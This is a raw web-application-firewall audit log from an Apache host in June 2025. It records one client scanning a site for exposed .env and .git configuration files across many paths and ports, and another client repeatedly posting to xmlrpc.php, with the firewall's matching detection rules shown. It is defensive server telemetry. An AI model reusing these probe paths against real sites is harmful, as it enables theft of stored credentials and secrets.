[tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/front-app/.env"] [unique_id "aE9T_PNXjUHq-Wm7C_8ZnQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029308381202 656425 (- - -) Stopwatch2: 1750029308381202 656425; combined=1943, p1=341, p2=1483, p3=0, p4=0, p5=119, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --58952929-Z-- --defd584b-A-- [16/Jun/2025:04:45:11.056818 +0530] aE9T_rV9qKUox3X8g1Yn0wAAAAg 185.177.72.210 52354 127.0.0.1 7081 --defd584b-B-- GET /config/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --defd584b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=22aba43b9d92e85408948d087d24f54c1750029310; expires=Mon, 16 Jun 2025 00:15:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --defd584b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.old"] [unique_id "aE9T_rV9qKUox3X8g1Yn0wAAAAg"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.old"] [unique_id "aE9T_rV9qKUox3X8g1Yn0wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029310388129 668752 (- - -) Stopwatch2: 1750029310388129 668752; combined=1966, p1=419, p2=1422, p3=0, p4=0, p5=124, sr=144, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --defd584b-Z-- --67a40a0b-A-- [16/Jun/2025:04:45:25.181640 +0530] aE9UDMalTF-TysO2fMODKgAAAAE 185.177.72.210 38966 127.0.0.1 7081 --67a40a0b-B-- GET /:8888/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --67a40a0b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f7e4b54f4ffea4ffbd50bcff38f30e2b1750029325; expires=Mon, 16 Jun 2025 00:15:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --67a40a0b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.production"] [unique_id "aE9UDMalTF-TysO2fMODKgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029324494944 686754 (- - -) Stopwatch2: 1750029324494944 686754; combined=1772, p1=392, p2=1311, p3=0, p4=0, p5=68, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --67a40a0b-Z-- --50850006-A-- [16/Jun/2025:04:45:27.921075 +0530] aE9UD32GhYywD7zZgx4FkgAAAAM 185.177.72.210 39064 127.0.0.1 7081 --50850006-B-- GET /:8888/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --50850006-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=524d658a3acea3183eb07e9f61ca6d8f1750029327; expires=Mon, 16 Jun 2025 00:15:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --50850006-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/core/.env"] [unique_id "aE9UD32GhYywD7zZgx4FkgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029327229488 691649 (- - -) Stopwatch2: 1750029327229488 691649; combined=1860, p1=354, p2=1413, p3=0, p4=0, p5=92, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --50850006-Z-- --6c577b3b-A-- [16/Jun/2025:04:45:30.166161 +0530] aE9UEX2GhYywD7zZgx4FkwAAAAM 185.177.72.210 56742 127.0.0.1 7081 --6c577b3b-B-- GET /:8888/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6c577b3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b07e6732b95d0b4e08ccc2e15faaf2fb1750029330; expires=Mon, 16 Jun 2025 00:15:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6c577b3b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/front/.env"] [unique_id "aE9UEX2GhYywD7zZgx4FkwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029329483476 682758 (- - -) Stopwatch2: 1750029329483476 682758; combined=1557, p1=338, p2=1116, p3=0, p4=0, p5=103, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6c577b3b-Z-- --7e24fa2f-A-- [16/Jun/2025:04:46:08.125918 +0530] aE9UN-xC6fQU5wYvxvl0KwAAAAk 128.199.112.101 49190 127.0.0.1 7081 --7e24fa2f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7e24fa2f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7e24fa2f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9UN-xC6fQU5wYvxvl0KwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029367160293 965681 (- - -) Stopwatch2: 1750029367160293 965681; combined=2272, p1=353, p2=1512, p3=45, p4=67, p5=180, sr=94, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7e24fa2f-Z-- --af269a4a-A-- [16/Jun/2025:04:46:39.522913 +0530] aE9UVn2GhYywD7zZgx4FtQAAAAM 185.177.72.210 46630 127.0.0.1 7081 --af269a4a-B-- GET /.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --af269a4a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e6b91935e0b2d4ca323cd0b7de640271750029399; expires=Mon, 16 Jun 2025 00:16:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --af269a4a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.1"] [unique_id "aE9UVn2GhYywD7zZgx4FtQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029398865576 657434 (- - -) Stopwatch2: 1750029398865576 657434; combined=1885, p1=363, p2=1421, p3=0, p4=0, p5=100, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af269a4a-Z-- --0e9d5713-A-- [16/Jun/2025:04:46:41.547286 +0530] aE9UWEoyC4_VyyL7sS6MwAAAAAI 185.177.72.210 59752 127.0.0.1 7081 --0e9d5713-B-- GET /:8080/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0e9d5713-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4c3ea3f00241728f20fc8dca016cb5de1750029401; expires=Mon, 16 Jun 2025 00:16:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0e9d5713-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/laravel/.env"] [unique_id "aE9UWEoyC4_VyyL7sS6MwAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029400879396 667973 (- - -) Stopwatch2: 1750029400879396 667973; combined=1915, p1=385, p2=1415, p3=0, p4=0, p5=115, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e9d5713-Z-- --cf85ee51-A-- [16/Jun/2025:04:46:47.016765 +0530] aE9UXpbumDYPKpRD2ekrBwAAAAA 185.177.72.210 59900 127.0.0.1 7081 --cf85ee51-B-- GET /:8008/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf85ee51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ffeee8a23382131e80850570b72936d31750029406; expires=Mon, 16 Jun 2025 00:16:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf85ee51-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/environments/.env"] [unique_id "aE9UXpbumDYPKpRD2ekrBwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029406363953 652901 (- - -) Stopwatch2: 1750029406363953 652901; combined=2039, p1=492, p2=1443, p3=0, p4=0, p5=103, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf85ee51-Z-- --8f359a76-A-- [16/Jun/2025:04:46:54.329571 +0530] aE9UZX2GhYywD7zZgx4FvAAAAAM 185.177.72.210 42484 127.0.0.1 7081 --8f359a76-B-- GET /.git/configurationtionura HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f359a76-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=48bfc1341f90665e54a44f98fec0bb1e1750029414; expires=Mon, 16 Jun 2025 00:16:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f359a76-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/configurationtionura"] [unique_id "aE9UZX2GhYywD7zZgx4FvAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029413686630 643029 (- - -) Stopwatch2: 1750029413686630 643029; combined=2467, p1=489, p2=1880, p3=0, p4=0, p5=97, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f359a76-Z-- --64d0d35b-A-- [16/Jun/2025:04:46:57.436450 +0530] aE9UaH2GhYywD7zZgx4FvgAAAAM 185.177.72.210 42634 127.0.0.1 7081 --64d0d35b-B-- GET /secure/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64d0d35b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e1dd3b11ded6264bb97403a3ebb5a0b91750029417; expires=Mon, 16 Jun 2025 00:16:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64d0d35b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.test"] [unique_id "aE9UaH2GhYywD7zZgx4FvgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029416778694 657820 (- - -) Stopwatch2: 1750029416778694 657820; combined=1718, p1=384, p2=1222, p3=0, p4=0, p5=111, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64d0d35b-Z-- --0c28fc56-A-- [16/Jun/2025:04:47:03.819012 +0530] aE9Ub0oyC4_VyyL7sS6MzAAAAAI 185.177.72.210 60454 127.0.0.1 7081 --0c28fc56-B-- GET /:8000/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c28fc56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2f7b785b244ceb238cb7da519f0f03c11750029423; expires=Mon, 16 Jun 2025 00:17:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c28fc56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/api/.env.staging"] [unique_id "aE9Ub0oyC4_VyyL7sS6MzAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029423160377 658704 (- - -) Stopwatch2: 1750029423160377 658704; combined=2145, p1=431, p2=1599, p3=0, p4=0, p5=114, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c28fc56-Z-- --70a4e909-A-- [16/Jun/2025:04:47:08.198801 +0530] aE9Uc8alTF-TysO2fMODWQAAAAE 128.199.112.101 60608 127.0.0.1 7081 --70a4e909-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --70a4e909-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --70a4e909-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Uc8alTF-TysO2fMODWQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029427149942 1048915 (- - -) Stopwatch2: 1750029427149942 1048915; combined=2321, p1=373, p2=1571, p3=42, p4=61, p5=172, sr=103, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70a4e909-Z-- --8f01db42-A-- [16/Jun/2025:04:47:13.694360 +0530] aE9UeUoyC4_VyyL7sS6M0QAAAAI 185.177.72.210 48432 127.0.0.1 7081 --8f01db42-B-- GET /:8880/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f01db42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d7fdeb0f34c1403e3df3d1d358787c41750029433; expires=Mon, 16 Jun 2025 00:17:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f01db42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/application/.env"] [unique_id "aE9UeUoyC4_VyyL7sS6M0QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029433031225 663199 (- - -) Stopwatch2: 1750029433031225 663199; combined=2042, p1=396, p2=1551, p3=0, p4=0, p5=94, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" 